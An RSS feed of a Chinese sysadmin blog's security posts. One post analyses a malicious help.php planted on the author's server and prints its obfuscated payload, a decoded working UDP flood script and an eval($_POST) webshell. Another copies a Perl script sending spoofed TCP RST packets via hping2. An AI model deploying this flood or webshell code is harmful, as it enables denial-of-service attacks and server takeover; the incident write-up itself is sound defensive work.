<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>潘文斌个人博客 &#187; 安全</title>
	<atom:link href="http://www.panwenbin.com/category/%e5%ae%89%e5%85%a8/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.panwenbin.com</link>
	<description>记忆不行，只能记录</description>
	<lastBuildDate>Mon, 06 Feb 2012 04:12:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>高突发流量问题终于解决</title>
		<link>http://www.panwenbin.com/2010/09/05/%e9%ab%98%e7%aa%81%e5%8f%91%e6%b5%81%e9%87%8f%e9%97%ae%e9%a2%98%e7%bb%88%e4%ba%8e%e8%a7%a3%e5%86%b3/</link>
		<comments>http://www.panwenbin.com/2010/09/05/%e9%ab%98%e7%aa%81%e5%8f%91%e6%b5%81%e9%87%8f%e9%97%ae%e9%a2%98%e7%bb%88%e4%ba%8e%e8%a7%a3%e5%86%b3/#comments</comments>
		<pubDate>Sun, 05 Sep 2010 15:39:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[安全]]></category>

		<guid isPermaLink="false">http://www.panwenbin.com/?p=1291</guid>
		<description><![CDATA[原因是一个用户的ftp被弱口令爆破了，上传了具有攻击功能的马。 造成问题的元凶 help.php eval&#40;gzinflate&#40;base64_decode&#40;'DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG5gqrPBOvH77CRmZ+f3vP99DOfz6Bbek/SjOqkNtssCPNJkhTf2Xw6zP4cdvIbfUZlQ1XhQchHDF3z39Ldpx33Lk9Xm78dUoCHeKfilO46tqg21DiEg+BCTz9QW/GD+lMGtThrSmdSEMLbVkzvPt3s0UMS3mDx0WoG2nY+gB2L+fufDyzPU6gNJxAYSarbsanhimzJbUoqZuY0+lV4H6GZtDX9LxkE9L29swfGYibUTtUsoPqIRi7nFBpdmW0t5ECFWjzmfZe2xqERmtMLVpOqnY436BfrDxK10KYOfGAWN7s3geqB7RdV7WkxiBHZU4wyW0LXsmyTdcdwk3TOjduh1F8cyvsgYuaejeLi23csLONsqDsU3gx60zLlm5XQ9jqhbyq949qvb2Us1dqsAGpYvfG3IHY4TxaemBF2mKKY9StKJuDDHxfmI3z+eWa7OwlgvrxeB5Qz4AE2drfLAYmo6litZOUL1GxMlavOlDW8/OMb7ci13dLk1y9XDddGgA4onEBZ0vmx8aSWApy6q2JkpO0i8kg1qOx7EVPgEJNSOLyzZIW8ApDL+V0/0Fstph3qQI+1qQuCwxiZH1aaTMKJItxW5rmz4WyrGmOKCUtLvAU2dle3a85a0GJJQWOGX5AnHiILQpplJ9mdpdQsw9TybO4whCCMqjfgOuSJ+rRT+2Ok8rbc/oVd47v+J02tAy9fkMTP2u8HuUo1Ezp5F3XCMyL6ftJAkw+h+R1ljN0M0NYS/TXCpeY1tyOl7Awe8dP5ygq1VxAFoEKQD6EGdWsWMeBzSruEjIQeRbtgx0oRpw2CnKoxFs/KdiQauXc26QYtLSbeaxiAWLeq784jjWnubV2kpIarL4bMVgNxv+9QwM8j1FvNR1yGa9lVsF1hM63tSpymtn4k1QFEGLVowe93kyhxGbRpNXICoPk3oqbB6DL3chsJ4OwQk4FOIc2k4MQ3tKy/vfv78/Pz///Pr+Gfd/'&#41;&#41;&#41;; 几次解密后: &#60;?php &#160; &#160; $packets = 0; $ip = $_GET&#91;'ip'&#93;; $rand = $_GET&#91;'port'&#93;; set_time_limit&#40;0&#41;; ignore_user_abort&#40;FALSE&#41;; &#160; $exec_time = $_GET&#91;'time'&#93;; &#160; $time = time&#40;&#41;; print &#34;Flooded: $ip on port $rand &#60;br&#62;&#60;br&#62;&#34;; $max_time = $time+$exec_time; &#160; for&#40;$i=0;$i&#60;65535;$i++&#41;&#123; $out .= &#34;X&#34;; &#125; while&#40;1&#41;&#123; $packets++; if&#40;time&#40;&#41; &#62; $max_time&#41;&#123; break; &#125; &#160; $fp = fsockopen&#40;&#34;udp://$ip&#34;, $rand, [...]]]></description>
			<content:encoded><![CDATA[<p>原因是一个用户的ftp被弱口令爆破了，上传了具有攻击功能的马。<br />
造成问题的元凶 help.php</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">gzinflate</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG5gqrPBOvH77CRmZ+f3vP99DOfz6Bbek/SjOqkNtssCPNJkhTf2Xw6zP4cdvIbfUZlQ1XhQchHDF3z39Ldpx33Lk9Xm78dUoCHeKfilO46tqg21DiEg+BCTz9QW/GD+lMGtThrSmdSEMLbVkzvPt3s0UMS3mDx0WoG2nY+gB2L+fufDyzPU6gNJxAYSarbsanhimzJbUoqZuY0+lV4H6GZtDX9LxkE9L29swfGYibUTtUsoPqIRi7nFBpdmW0t5ECFWjzmfZe2xqERmtMLVpOqnY436BfrDxK10KYOfGAWN7s3geqB7RdV7WkxiBHZU4wyW0LXsmyTdcdwk3TOjduh1F8cyvsgYuaejeLi23csLONsqDsU3gx60zLlm5XQ9jqhbyq949qvb2Us1dqsAGpYvfG3IHY4TxaemBF2mKKY9StKJuDDHxfmI3z+eWa7OwlgvrxeB5Qz4AE2drfLAYmo6litZOUL1GxMlavOlDW8/OMb7ci13dLk1y9XDddGgA4onEBZ0vmx8aSWApy6q2JkpO0i8kg1qOx7EVPgEJNSOLyzZIW8ApDL+V0/0Fstph3qQI+1qQuCwxiZH1aaTMKJItxW5rmz4WyrGmOKCUtLvAU2dle3a85a0GJJQWOGX5AnHiILQpplJ9mdpdQsw9TybO4whCCMqjfgOuSJ+rRT+2Ok8rbc/oVd47v+J02tAy9fkMTP2u8HuUo1Ezp5F3XCMyL6ftJAkw+h+R1ljN0M0NYS/TXCpeY1tyOl7Awe8dP5ygq1VxAFoEKQD6EGdWsWMeBzSruEjIQeRbtgx0oRpw2CnKoxFs/KdiQauXc26QYtLSbeaxiAWLeq784jjWnubV2kpIarL4bMVgNxv+9QwM8j1FvNR1yGa9lVsF1hM63tSpymtn4k1QFEGLVowe93kyhxGbRpNXICoPk3oqbB6DL3chsJ4OwQk4FOIc2k4MQ3tKy/vfv78/Pz///Pr+Gfd/'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>几次解密后:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
&nbsp;
&nbsp;
<span style="color: #000088;">$packets</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$ip</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'ip'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$rand</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'port'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">set_time_limit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">ignore_user_abort</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$exec_time</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'time'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$time</span> <span style="color: #339933;">=</span> <span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;Flooded: <span style="color: #006699; font-weight: bold;">$ip</span> on port <span style="color: #006699; font-weight: bold;">$rand</span> &lt;br&gt;&lt;br&gt;&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$max_time</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$time</span><span style="color: #339933;">+</span><span style="color: #000088;">$exec_time</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span><span style="color: #cc66cc;">65535</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$out</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;X&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #000088;">$packets</span><span style="color: #339933;">++;</span>
        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> <span style="color: #000088;">$max_time</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
&nbsp;
        <span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fsockopen</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;udp://<span style="color: #006699; font-weight: bold;">$ip</span>&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$rand</span><span style="color: #339933;">,</span> <span style="color: #000088;">$errno</span><span style="color: #339933;">,</span> <span style="color: #000088;">$errstr</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">5</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                <span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #000088;">$out</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Packet complete at &quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'h:i:s'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; with <span style="color: #006699; font-weight: bold;">$packets</span> (&quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">round</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$packets</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">65</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">1024</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; mB) packets averaging &quot;</span><span style="color: #339933;">.</span> <span style="color: #990000;">round</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$packets</span><span style="color: #339933;">/</span><span style="color: #000088;">$exec_time</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; packets/s <span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span>
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span>ddos<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>这个文件用fsockopen函数发起udp攻击<br />
之前在hostloc论坛已经看到过有人中过了，不然我还不一定能发现。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.panwenbin.com/2010/09/05/%e9%ab%98%e7%aa%81%e5%8f%91%e6%b5%81%e9%87%8f%e9%97%ae%e9%a2%98%e7%bb%88%e4%ba%8e%e8%a7%a3%e5%86%b3/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>服务器很大out-bound流量，处理过程记录</title>
		<link>http://www.panwenbin.com/2010/09/05/%e6%9c%8d%e5%8a%a1%e5%99%a8%e5%be%88%e5%a4%a7out-bound%e6%b5%81%e9%87%8f%ef%bc%8c%e5%a4%84%e7%90%86%e8%bf%87%e7%a8%8b%e8%ae%b0%e5%bd%95/</link>
		<comments>http://www.panwenbin.com/2010/09/05/%e6%9c%8d%e5%8a%a1%e5%99%a8%e5%be%88%e5%a4%a7out-bound%e6%b5%81%e9%87%8f%ef%bc%8c%e5%a4%84%e7%90%86%e8%bf%87%e7%a8%8b%e8%ae%b0%e5%bd%95/#comments</comments>
		<pubDate>Sat, 04 Sep 2010 21:30:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[安全]]></category>

		<guid isPermaLink="false">http://www.panwenbin.com/?p=1273</guid>
		<description><![CDATA[这几天发现服务器流量图一直有突然的很大out-bound流量，很是不解。 攻击的话，应该是in-bound也要比较大吧。 从XenCenter看网络流量，看不出哪个占用高了，因为5秒刷新一下，而且流量数据也不是很准。 那就用之前写的网卡当前速度统计脚本吧，修改脚本，设定一个警戒流量，当超过时，把当时情况记录下来。记录下时间和瞬间流量，然后记录下进程列表。试了一下，进程列表看不出异常，想到ip_conntrack，找了好一会儿才想起来这个名，改成记录当时的ip_conntrack，过了一会儿出现记录文件了，有5M多，打开一看1万次的DNS请求，我的妈呀。 由于服务器设定了机房的DNS，所以这1万次DNS请求的流量也会在服务器流量图上。根据机房建议，改/etc/resolv.conf文件，设置dns为本机。 过一会儿，依然有大量本机查询的记录，然后比较平静，因为太晚了。 检查过程中，从/var/log/messages看named的日志时，看到有不大量ftp的失败请求，看上去像暴力猜解，网络真不安全，先装好ssh的denyhosts，发现用来设置ftp的软件没ssh的多，fail2ban是一个，他是通过iptables来屏蔽的，但是又有点想自己写，比较好掌握些。 这个再看吧，先到这里，待续。。。 续： 继续观察，发现大量请求还有udp对别的机器80端口的大量数据包(变成肉鸡了？)，很是悲哀，暂时不知道如何查找占用流量的进程，这个udp dport 80用iptables DROP了。目前情绪稳定。 iptraf这个工具比较强大，但是编译出错，以后再看。]]></description>
			<content:encoded><![CDATA[<p>这几天发现服务器流量图一直有突然的很大out-bound流量，很是不解。<br />
攻击的话，应该是in-bound也要比较大吧。</p>
<p>从XenCenter看网络流量，看不出哪个占用高了，因为5秒刷新一下，而且流量数据也不是很准。</p>
<p>那就用之前写的网卡当前速度统计脚本吧，修改脚本，设定一个警戒流量，当超过时，把当时情况记录下来。记录下时间和瞬间流量，然后记录下进程列表。试了一下，进程列表看不出异常，想到ip_conntrack，找了好一会儿才想起来这个名，改成记录当时的ip_conntrack，过了一会儿出现记录文件了，有5M多，打开一看1万次的DNS请求，我的妈呀。</p>
<p>由于服务器设定了机房的DNS，所以这1万次DNS请求的流量也会在服务器流量图上。根据机房建议，改/etc/resolv.conf文件，设置dns为本机。</p>
<p>过一会儿，依然有大量本机查询的记录，然后比较平静，因为太晚了。<br />
检查过程中，从/var/log/messages看named的日志时，看到有不大量ftp的失败请求，看上去像暴力猜解，网络真不安全，先装好ssh的denyhosts，发现用来设置ftp的软件没ssh的多，fail2ban是一个，他是通过iptables来屏蔽的，但是又有点想自己写，比较好掌握些。</p>
<p>这个再看吧，先到这里，待续。。。</p>
<p>续：<br />
继续观察，发现大量请求还有udp对别的机器80端口的大量数据包(变成肉鸡了？)，很是悲哀，暂时不知道如何查找占用流量的进程，这个udp dport 80用iptables DROP了。目前情绪稳定。<br />
iptraf这个工具比较强大，但是编译出错，以后再看。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.panwenbin.com/2010/09/05/%e6%9c%8d%e5%8a%a1%e5%99%a8%e5%be%88%e5%a4%a7out-bound%e6%b5%81%e9%87%8f%ef%bc%8c%e5%a4%84%e7%90%86%e8%bf%87%e7%a8%8b%e8%ae%b0%e5%bd%95/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>/proc/net/ip_conntrack</title>
		<link>http://www.panwenbin.com/2010/09/05/procnetip_conntrack/</link>
		<comments>http://www.panwenbin.com/2010/09/05/procnetip_conntrack/#comments</comments>
		<pubDate>Sat, 04 Sep 2010 19:14:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[安全]]></category>

		<guid isPermaLink="false">http://www.panwenbin.com/?p=1285</guid>
		<description><![CDATA[我们先来看看怎样阅读/proc/net/ip_conntrack里的conntrack记录。这些记 录表示的是当前被跟踪的连接。如果安装了ip_conntrack模块，cat /proc/net/ip_conntrack 的显示类似： tcp 6 117 SYN_SENT src=192.168.1.6 dst=192.168.1.9 sport=32775 \ dport=22 [UNREPLIED] src=192.168.1.9 dst=192.168.1.6 sport=22 \ dport=32775 use=2 tcp 6 431967 ESTABLISHED src=192.168.18.120 dst=192.168.18.98 sport=1059 dport=22 packets=3287 bytes=262840 src=192.168.18.98 dst=192.168.18.120 sport=22 dport=1059 packets=2863 bytes=439784 [ASSURED] mark=0 secmark=0 use=1 conntrack模块维护的所有信息都包含在这个例子中了，通过它们就可以知道某个特定的连接处于什么状 态。首先显示的是协议，这里是tcp，接着是十进制的6（译者注：tcp的协议类型代码是6）。之后的117是 这条conntrack记录的生存时间，它会有规律地被消耗，直到收到这个连接的更多的包。那时，这个值就会 被设为当时那个状态的缺省值。接下来的是这个连接在当前时间点的状态。上面的例子说明这个包处在状态 SYN_SENT，这个值是iptables显示的，以便我们好理解，而内部用的值稍有不同。SYN_SENT说明我们正在观 察的这个连接只在一个方向发送了一TCP SYN包。再下面是源地址、目的地址、源端口和目的端口。其 中有个特殊的词UNREPLIED，说明这个连接还没有收到任何回应。最后，是希望接收的应答包的信息，他们 的地址和端口和前面是相反的。 连接跟踪记录的信息依据IP所包含的协议不同而不同，所有相应的值都是在头文件linux/include/netfilter-ipv4/ip_conntrack*.h中定义的。IP、TCP、UDP、ICMP协 议的缺省值是在linux/include/netfilter-ipv4/ip_conntrack.h里定义的。具 体的值可以查看相应的协议，但我们这里用不到它们，因为它们大都只在conntrack内部使用。随着状态的 改变，生存时间也会改变。 当一个连接在两个方向上都有传输时，conntrack记录就删除[UNREPLIED]标志，然后重置。在末尾有 [ASSURED]的记录说明两个方向已没有流量。这样的记录是确定的，在连接跟踪表满时，是不会被删除的， [...]]]></description>
			<content:encoded><![CDATA[<p>我们先来看看怎样阅读/proc/net/ip_conntrack里的conntrack记录。这些记 录表示的是当前被跟踪的连接。如果安装了ip_conntrack模块，cat /proc/net/ip_conntrack 的显示类似：</p>
<p>tcp      6 117 SYN_SENT src=192.168.1.6 dst=192.168.1.9 sport=32775 \<br />
     dport=22 [UNREPLIED] src=192.168.1.9 dst=192.168.1.6 sport=22 \<br />
     dport=32775 use=2</p>
<p>tcp      6 431967 ESTABLISHED src=192.168.18.120 dst=192.168.18.98 sport=1059 dport=22<br />
packets=3287 bytes=262840 src=192.168.18.98 dst=192.168.18.120 sport=22 dport=1059<br />
packets=2863 bytes=439784 [ASSURED] mark=0 secmark=0 use=1<br />
conntrack模块维护的所有信息都包含在这个例子中了，通过它们就可以知道某个特定的连接处于什么状 态。首先显示的是协议，这里是tcp，接着是十进制的6（译者注：tcp的协议类型代码是6）。之后的117是 这条conntrack记录的生存时间，它会有规律地被消耗，直到收到这个连接的更多的包。那时，这个值就会 被设为当时那个状态的缺省值。接下来的是这个连接在当前时间点的状态。上面的例子说明这个包处在状态 SYN_SENT，这个值是iptables显示的，以便我们好理解，而内部用的值稍有不同。SYN_SENT说明我们正在观 察的这个连接只在一个方向发送了一TCP SYN包。再下面是源地址、目的地址、源端口和目的端口。其 中有个特殊的词UNREPLIED，说明这个连接还没有收到任何回应。最后，是希望接收的应答包的信息，他们 的地址和端口和前面是相反的。</p>
<p>连接跟踪记录的信息依据IP所包含的协议不同而不同，所有相应的值都是在头文件linux/include/netfilter-ipv4/ip_conntrack*.h中定义的。IP、TCP、UDP、ICMP协 议的缺省值是在linux/include/netfilter-ipv4/ip_conntrack.h里定义的。具 体的值可以查看相应的协议，但我们这里用不到它们，因为它们大都只在conntrack内部使用。随着状态的 改变，生存时间也会改变。</p>
<p>当一个连接在两个方向上都有传输时，conntrack记录就删除[UNREPLIED]标志，然后重置。在末尾有 [ASSURED]的记录说明两个方向已没有流量。这样的记录是确定的，在连接跟踪表满时，是不会被删除的， 没有[ASSURED]的记录就要被删除。连接跟踪表能容纳多少记录是被一个变量控制的，它可由内核中的ip- sysctl函数设置。默认值取决于你的内存大小，128MB可以包含8192条目录，256MB是16376条。你也可以在 /proc/sys/net/ipv4/ip_conntrack_max里查看、设置。</p>
<p>转自：http://hi.baidu.com/weioip/blog/item/02961246a17bd4016b63e5ae.html</p>
<p>一个perl脚本来清空ip_conntrack.但是我发觉更简单办法是移除ip_conntrack模块.移除时提示有依赖,还是直接service iptables stop来得快.但是要记得,ip_forward也被设为0了,所以该设的全重设<br />
如何清除/proc/net/ip_conntrack的内容？<br />
作者 woflyin<br />
2004-12-09<br />
对于做处于网关地位的机器，其开启了nat功能，那么/proc/net/ip_conntrack是保存的是内网地址和外部地址连接的情况，记录每个连接的周详情况，其内容一般会保持5天，期间重新启动网络并不会有效减少其内容，唯一的办法就是重新启动和增大内存的数量，给监控带来不便，内容很容易满，核心便会报警：<br />
ip_conntrack: table full, dropping packet<br />
解决办法：<br />
1.增加内存：修改/etc/sysctl.conf的配置容量 net.ipv4.ip_conntrack_max=大的数值！<br />
2.隔一段时间重新启动系统，清空ip_conntrack<br />
3.对ip_conntrack编程，读取其内容，匹配指定的ip地址，然后调用发包程式发送RST报文，人为的完成tcp连接。用perl实现，调用了一个外部程式hping2，能够从其主页找到，这个程式就是个构包器 </p>
<p>用法：cl.pl ipaddress<br />
#!/usr/bin/perl<br />
$ip = $ARGV[0];<br />
#print $ARGS,$ip;<br />
exit if(!$ip);<br />
open(FH,”ip_conntrack”);<br />
while()<br />
{<br />
if (/^tcp .*ESTABLISHED src=$ip/)<br />
{<br />
#print $_;<br />
@line = split(/=/,$_);<br />
$sip = $line[1];<br />
$sip =~s/ .*//g;<br />
$dip = $line[2];<br />
$dip =~s/ .*//g;<br />
$sport = $line[3];<br />
$sport =~s/ .*//g;<br />
$dport = $line[4];<br />
$dport =~s/ .*//g;<br />
print “$sip:$sport $dip:$dportn”;<br />
`/usr/bin/hping2 $dip -R -s $sport -p $dport -a $sip -k -c 1 >/dev/null 2>/dev/null &#038;`;<br />
}<br />
} </p>
<p>4。问题：通过这个思路，是否能够对消除ddos攻击有一定帮助呢？查询ip_conntrack表，判断syn_SENT标志是否过多，过多就能够采取这样的做法消除他们呢？希望大家讨论，一起进步！</p>
<p>来源: http://www.abc188.com/info/html/wangzhanyunying/jianzhanjingyan/20080417/71130.html</p>
]]></content:encoded>
			<wfw:commentRss>http://www.panwenbin.com/2010/09/05/procnetip_conntrack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>denyhosts安装</title>
		<link>http://www.panwenbin.com/2010/09/01/denyhosts%e5%ae%89%e8%a3%85/</link>
		<comments>http://www.panwenbin.com/2010/09/01/denyhosts%e5%ae%89%e8%a3%85/#comments</comments>
		<pubDate>Wed, 01 Sep 2010 08:02:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[安全]]></category>

		<guid isPermaLink="false">http://www.panwenbin.com/?p=1256</guid>
		<description><![CDATA[参考 http://moneypy.blog.51cto.com/745631/328441]]></description>
			<content:encoded><![CDATA[<p>参考 http://moneypy.blog.51cto.com/745631/328441</p>
]]></content:encoded>
			<wfw:commentRss>http://www.panwenbin.com/2010/09/01/denyhosts%e5%ae%89%e8%a3%85/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>突然间发现一个数据库挂了，错误提示某表被marked crashed</title>
		<link>http://www.panwenbin.com/2010/07/08/%e7%aa%81%e7%84%b6%e9%97%b4%e5%8f%91%e7%8e%b0%e4%b8%80%e4%b8%aa%e6%95%b0%e6%8d%ae%e5%ba%93%e6%8c%82%e4%ba%86%ef%bc%8c%e9%94%99%e8%af%af%e6%8f%90%e7%a4%ba%e6%9f%90%e8%a1%a8%e8%a2%abmarked-crashed/</link>
		<comments>http://www.panwenbin.com/2010/07/08/%e7%aa%81%e7%84%b6%e9%97%b4%e5%8f%91%e7%8e%b0%e4%b8%80%e4%b8%aa%e6%95%b0%e6%8d%ae%e5%ba%93%e6%8c%82%e4%ba%86%ef%bc%8c%e9%94%99%e8%af%af%e6%8f%90%e7%a4%ba%e6%9f%90%e8%a1%a8%e8%a2%abmarked-crashed/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 14:03:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[安全]]></category>

		<guid isPermaLink="false">http://www.panwenbin.com/?p=1166</guid>
		<description><![CDATA[突然间发现一个数据库挂了，错误提示某表被marked crashed 搜了一下怎么修复mysql 参考了下面文章 http://database.e800.com.cn/articles/2008/821/1219302249705_1.html]]></description>
			<content:encoded><![CDATA[<p>突然间发现一个数据库挂了，错误提示某表被marked crashed<br />
搜了一下怎么修复mysql</p>
<p>参考了下面文章 http://database.e800.com.cn/articles/2008/821/1219302249705_1.html</p>
]]></content:encoded>
			<wfw:commentRss>http://www.panwenbin.com/2010/07/08/%e7%aa%81%e7%84%b6%e9%97%b4%e5%8f%91%e7%8e%b0%e4%b8%80%e4%b8%aa%e6%95%b0%e6%8d%ae%e5%ba%93%e6%8c%82%e4%ba%86%ef%bc%8c%e9%94%99%e8%af%af%e6%8f%90%e7%a4%ba%e6%9f%90%e8%a1%a8%e8%a2%abmarked-crashed/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>淘特ASP木马扫描器</title>
		<link>http://www.panwenbin.com/2009/05/25/%e6%b7%98%e7%89%b9asp%e6%9c%a8%e9%a9%ac%e6%89%ab%e6%8f%8f%e5%99%a8/</link>
		<comments>http://www.panwenbin.com/2009/05/25/%e6%b7%98%e7%89%b9asp%e6%9c%a8%e9%a9%ac%e6%89%ab%e6%8f%8f%e5%99%a8/#comments</comments>
		<pubDate>Mon, 25 May 2009 07:16:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[安全]]></category>

		<guid isPermaLink="false">http://www.panwenbin.com/2009/05/25/%e6%b7%98%e7%89%b9asp%e6%9c%a8%e9%a9%ac%e6%89%ab%e6%8f%8f%e5%99%a8/</guid>
		<description><![CDATA[可以扫描服务器上的所有指定类型(asp,cer,asa,cdx)的文件，查出可疑的木马程序。系统采用扫描程序与病毒库分离的形式 下载地址:http://cms.tot.name/cms/tot_asp_scan.htm]]></description>
			<content:encoded><![CDATA[<p>可以扫描服务器上的所有指定类型(asp,cer,asa,cdx)的文件，查出可疑的木马程序。系统采用扫描程序与病毒库分离的形式<br />
下载地址:http://cms.tot.name/cms/tot_asp_scan.htm</p>
]]></content:encoded>
			<wfw:commentRss>http://www.panwenbin.com/2009/05/25/%e6%b7%98%e7%89%b9asp%e6%9c%a8%e9%a9%ac%e6%89%ab%e6%8f%8f%e5%99%a8/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>0day是什么意思</title>
		<link>http://www.panwenbin.com/2009/05/24/0day%e6%98%af%e4%bb%80%e4%b9%88%e6%84%8f%e6%80%9d/</link>
		<comments>http://www.panwenbin.com/2009/05/24/0day%e6%98%af%e4%bb%80%e4%b9%88%e6%84%8f%e6%80%9d/#comments</comments>
		<pubDate>Sun, 24 May 2009 08:34:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[安全]]></category>

		<guid isPermaLink="false">http://www.panwenbin.com/2009/05/24/0day%e6%98%af%e4%bb%80%e4%b9%88%e6%84%8f%e6%80%9d/</guid>
